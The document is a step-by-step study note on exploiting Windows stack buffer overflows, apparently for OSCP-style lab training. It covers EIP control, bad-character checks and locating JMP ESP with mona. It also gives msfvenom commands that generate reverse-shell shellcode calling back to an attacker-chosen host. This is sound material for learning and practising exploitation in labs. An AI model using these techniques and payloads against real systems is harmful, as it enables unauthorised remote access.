Windows Buffer Overflows

  1. Discovering the Vulnerability
    • source code review
    • reverse engineering techniques
    • fuzzing
  2. Replicate the crash
    • e.g. attach a debugger and see when the application is crashing (what payload needs to be used)
  3. Control the EIP
    • locate the part of input that overwrites the EIP
      • use msf-pattern_create to generate the string Example: msf-pattern_create -l 800
      • and then replicate the crash again, with that string
      • calculate the actual length with msf-pattern_offset based on the EIP content Example:
        msf-pattern_offset -l 800 -q 42306142
    • see how much of payload you need (e.g. size of the shellcode of your choice) and check if you can actually send such a long set of bytes - things may go crazy once you override the buffer too much
    • try to extend the buffer by adding more payload (e.g. more "A" to the end), e.g. 700, although the typical shellcode is around 350-400 bytes
    • if you can't extend it, best is to: a) check if EAX or ECX contain the payload b) prepare the first_stage with a jump to those; add some nops; search for bad characters; make shellcode part of the crash payload (e.g. VulnApp2.exe from OSCP training)
  4. Find bad characters for your payload: here you need to try sending the whole set of characters from 0x00 to 0xFF and see which go through
  5. Find a way to execute the shellcode. in principle you want to override EIP to point to a JMP instruction in an external lib (because the address will be static and the exploit will be more robust), so that once a JMP is executed, it will run the payload you've overridden ESP with.
    • use !mona modules to see which execs or libs can be of use (with SafeSEH, ASLR and NXCompat set to false)
    • Look for a JMP ESP instruction (if DEP is enabled, it needs to be the one that is located in .text code segment because it has both Read and Executable permissions)
      • make sure the found address doesn't contain bad characters
      • first get the opcode of JMP ESP: msf-nasm_shell nasm> jmp esp 00000000 FFE4 jmp esp
      • search for \xFF\xE4 in mona: !mona find -s "\xFF\xE4" -m "<resource>"
      • make sure the found address doesn't contain bad characters
      • make sure to reverse the order of the address value (since it is little endian for x86 or AMD64 architectures)
      • follow the found instruction in disassembled code and use its address to override the EIP register in the exploid
      • in the exploid, update the EIP to this address, set the breakpoint and see if you hit it
  6. Prepare the shellcode, best to use msfvenom
    • List of all available payloads: msfvenom -l payloads
    • For example, reversed shell for TCP looks like this:
      msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f c
    • If we have a restriction in terms of bad characters, we should ise an polymorphic encoder:
      msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f c -e x86/shikata_ga_nai -b "<list-of-bad-characters"
    • since we use the encoder (such as shikata_ga_nai), the decoding part can mangle the stack causing the shellcode to crash the attacked application. one way around this, is to include a few of NOP CPU instructions upfront the payload so that the decoder doesn't affect the shellcode itself:
      nops = "\x90" * 10
      # This needs to be put between the offset and the shellcode.
    • by default, msfvenom shellcode is followed by ExitProcess API, which will cause the attached application to stop. If the application is multithreaded, instead of the whole process, it is possible to stop the affected thread only. This can be done by adding EXITFUNC flag to msfvenom:
      msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list-of-bad-characters>"

Linux's example of the shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -b "<list-of-bad-characters>" -f py -v shellcode